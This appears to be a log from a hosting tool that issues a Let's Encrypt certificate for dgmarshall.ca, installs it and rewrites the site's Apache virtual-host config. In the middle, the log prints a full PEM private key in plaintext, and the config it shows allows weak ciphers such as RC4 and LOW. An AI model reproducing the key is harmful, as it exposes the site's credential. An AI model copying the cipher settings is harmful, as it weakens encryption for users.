IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-14 06:00:54: Establishing a connection
2026-06-14 06:00:55: Establishing a connection
2026-06-14 06:00:55: 

PUT: /tmp/pkp979798

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-14 06:00:55: 

chmod 755 /tmp/pkp979798; /tmp/pkp979798; rm /tmp/pkp979798

2026-06-14 06:00:55: 


1


2026-06-14 06:00:55: Establishing a connection
2026-06-14 06:00:55: 

PUT: /tmp/pkp496550

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > krVy6joIIN6TsjCYoE2d1dH_Q2RheXJ2pmKyVRURIjs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
krVy6joIIN6TsjCYoE2d1dH_Q2RheXJ2pmKyVRURIjs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 krVy6joIIN6TsjCYoE2d1dH_Q2RheXJ2pmKyVRURIjs
cat > 7j1DBGLJFKRacvJxD2SbXT9W_CFwxjAOfJe-dlLQA68 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7j1DBGLJFKRacvJxD2SbXT9W_CFwxjAOfJe-dlLQA68.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7j1DBGLJFKRacvJxD2SbXT9W_CFwxjAOfJe-dlLQA68


2026-06-14 06:00:56: 

chmod 755 /tmp/pkp496550; /tmp/pkp496550; rm /tmp/pkp496550

2026-06-14 06:00:56: 




2026-06-14 06:01:08: Establishing a connection
2026-06-14 06:01:08: 

PUT: /tmp/pkp130561

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm krVy6joIIN6TsjCYoE2d1dH_Q2RheXJ2pmKyVRURIjs
rm 7j1DBGLJFKRacvJxD2SbXT9W_CFwxjAOfJe-dlLQA68


2026-06-14 06:01:08: 

chmod 755 /tmp/pkp130561; /tmp/pkp130561; rm /tmp/pkp130561

2026-06-14 06:01:08: 




2026-06-14 06:01:08: Establishing a connection
2026-06-14 06:01:08: 

PUT: /tmp/pkp209178

#!/bin/bash
temp_file=$(mktemp)
TARGET=81f76087f3fb05d6e60af69d2a7f0ab7.crt

cat > $temp_file <<'endmsg'
90:58:45:ca:26:5d:db:d4:c2:32:7b:0c:99:2b:21:73

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBSjEqPAn+mIvpc8Getx3B87zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE0MDUwMjM1WhcNMjYwOTEyMDUwMjM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
tMkXOrkq0WSdWsUPoTptVXWE75OjA/bhmaabKtjxgnq5K3GrX0U/HOa52mtS6xzb
7AI6AxAqqFNFxDiEazaRe9osC1tkI70Dg+I9ZBHCyGqeNTtdNkvXO+8jWyiDicbM
iblpSItsaMNVWWA8mLHjWNzl/iJ1yL/ChfnRQbfWQec+DY8ZNt7VS4dKmvvjRQjX
2LqHPi/GmhXdkEbjhEJiq/cYSpyaEzrirSIJ/LpAWI2jJEGHXpIvLRIp/NoFLtjf
y/k63OQb031goDWaBqx3+HTu9sm4eb+JHUq6vTZ8tUqsw+usLb7Y8esdQdGE43dO
WcOgw6uy9F/WL10McW7b6QIDAQABo4ICJjCCAiIwDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFJlKzICN
tlunshI3gyFv4AeASKeeMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3WMh+BDIEM
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINZGdtYXJzaGFsbC5jYYIRd3d3LmRnbWFyc2hhbGwu
Y2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDov
L3lyMi5jLmxlbmNyLm9yZy8xMTYuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDv
AHYAyKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkdz5oAAAGexLgv6gAABAMA
RzBFAiBAQD6HmKvrt1jqFsDwb+WlDyvnov5hhCjJwKrHmd5FqgIhAMTSpkSHwDBp
8tGjb08vXaSokrdQCJSihKZEbd5+1Hl/AHUAlE5Dh/rswe+B8xkkJqgYZQHH0184
AgE/cmd9VTcuGdgAAAGexLg3mwAABAMARjBEAiBDnoemjpCAMqzQ7hHwIxulmk9s
aIh74S42G07THmSxEAIgP9V87VXMnlsRsFsPNk/PN1Z4YiK7Tr3phEa12F+BNfkw
DQYJKoZIhvcNAQELBQADggEBAJFKgVh7ZKeLKTB/kIb5EnuGA7NnRtTQ9wD1RJ1Y
XhMRvaDmP4gBZxwWPmyCqIfRU/Xo7ToJejxMdw4BrYyH9Myk5QsHrV3JAQq+yXVc
PLIUxMu2jZrLv3EMJGMMCRBM+OeNM11wkL0WOFCHESfMlpB09B4DcNV8F+osrB/J
Aj1vugMQPYzw0j3tb8+jmw/jlhR21n5VddiRT15JYCNsxKSba09uWo8zgb8fcaWZ
qydzeaYULvLBIlj4pIzia/xHoeQxiTws7zrb/3eadf+PLXkU1dVNGXd7M1EtJuj7
MaT4U3j7cimBREQ3OJfCJvZIcC7qGVeCgCzKUbpHAo6Mess=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC0yRc6uSrRZJ1a
xQ+hOm1VdYTvk6MD9uGZppsq2PGCerkrcatfRT8c5rnaa1LrHNvsAjoDECqoU0XE
OIRrNpF72iwLW2QjvQOD4j1kEcLIap41O102S9c77yNbKIOJxsyJuWlIi2xow1VZ
YDyYseNY3OX+InXIv8KF+dFBt9ZB5z4Njxk23tVLh0qa++NFCNfYuoc+L8aaFd2Q
RuOEQmKr9xhKnJoTOuKtIgn8ukBYjaMkQYdeki8tEin82gUu2N/L+Trc5BvTfWCg
NZoGrHf4dO72ybh5v4kdSrq9Nny1SqzD66wtvtjx6x1B0YTjd05Zw6DDq7L0X9Yv
XQxxbtvpAgMBAAECggEAAy5RHHFG37eQnbjfKyfxJcprMAB14zNYOZkA/K5jxHcW
lD08JdFc+IwWO9G83CJuO6832Fcz2vGZJghVCyJjCa33ba06XDcejVbhG+ZEmjxn
A3qDi7mmpDkzUu6p7tYKwgcbQ0Ghww+hzDBpbInfvU/os5GlZyZ5nJweSpTanh70
/+/QXzWd1LwK5TfE+7eTMIY/XMj/IRmJB0deE2mbJBuhU8C15QnNsILfg657UUgw
u1dpul3ETi4SS1rdHMb/QCMbdw44o1rdPpN8csu4Eh1eRCKaBO1Rw0YcTwc2Thzs
Fpp16fOosS2r7HicaLiMLF6cwTl/hY4icDPAhMz2MQKBgQDuonMeoPfX2j2ci1AO
UtR6x1ty8rIY4AjenXvcDU/FkjfqNRh7Je5uhEdA2aeR4qoswZI5PLUto3aSlLd3
zR5DKeddIUnlXjOqk5k8UxlR/6uWWYpbFMHfMoCQ90c2nMk+nzandJINuSTKvLcv
wc1+L1ffrK/5KFaEoMx27WzkEQKBgQDB8PbkExaSzU8zgwy4ZMYvs4E82+/O81/4
Pwwb6QSjxMwZNrmstJZ4QJhmf7u9IzeuxI6ZeAfCaqM6g4uYiLHA0WN1THKDlo97
ZccuC+VR6Qmkpn123P4tNnA7ju2eNxeESGI04+UU9rPtwNelgc0ir9aYMZh2YPek
kVNKDMRyWQKBgHmDx1MlbI9B1nXMiuuASiprMaoK452/F0UktFmNfb2Bg2+Dsf+j
hRJJ0W64Zpfm7/jyaN80hp3CyzJBAFvE21AgGmxV8ycVHQITPsh1GEOlCV76IXXX
0BEzyjwHbv/kPqXgtRf4SBcs3AtQpYdwDI/g08JWURVy8PuAVh2JMRXBAoGATxbb
OCtomzlKwTECMPg3siA75fuzEexCCNR9NayTDc4lhWrB0WJbsnJ1M+eHQhxoisbx
eDhwwaIHKseWV//2rTE2pBEm6e6uWJ4q2eZUAFFOc2zJ4X1B0mJO5prk4A6LcpCq
K/N76k6pFZ380yvZ4flfQ/WFvVDR7LSvCJWoTxECgYEA5kgAHtZVvO7qztKf8mUX
xNe/AosswXxNRPO5YexSimktGrcNyUtzop3OvlDIkbRv13PCpuI99PTcT3Rr476a
A3uPAEfWEZmFoZbcK5LM3PHFnRYUmCWoGSk51sv2a7zU358gSf8uRZ4AY7eVu5Nr
LrdUFhCankbDwIUaB7TltbE=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-14 06:01:08: 

chmod 755 /tmp/pkp209178; /tmp/pkp209178; rm /tmp/pkp209178

2026-06-14 06:01:08: 


dir=/etc/ssl/certs


2026-06-14 06:01:08: 

PUT: /tmp/pkp320298

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-14 06:01:08: 

chmod 755 /tmp/pkp320298; /tmp/pkp320298; rm /tmp/pkp320298

2026-06-14 06:01:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf 41

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>






2026-06-14 06:01:08: 

PUT: /tmp/pkp559678

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf= 1'
fi


2026-06-14 06:01:08: 

chmod 755 /tmp/pkp559678; /tmp/pkp559678; rm /tmp/pkp559678

2026-06-14 06:01:08: 




2026-06-14 06:01:08: 

PUT: /tmp/pkp885055

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-14 06:01:08: 

chmod 755 /tmp/pkp885055; /tmp/pkp885055; rm /tmp/pkp885055

2026-06-14 06:01:08: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:01:08: Establishing a connection
2026-06-14 06:01:09: 

PUT: /tmp/pkp320469

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-14 06:01:09: 

chmod 755 /tmp/pkp320469; /tmp/pkp320469; rm /tmp/pkp320469

2026-06-14 06:01:09: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
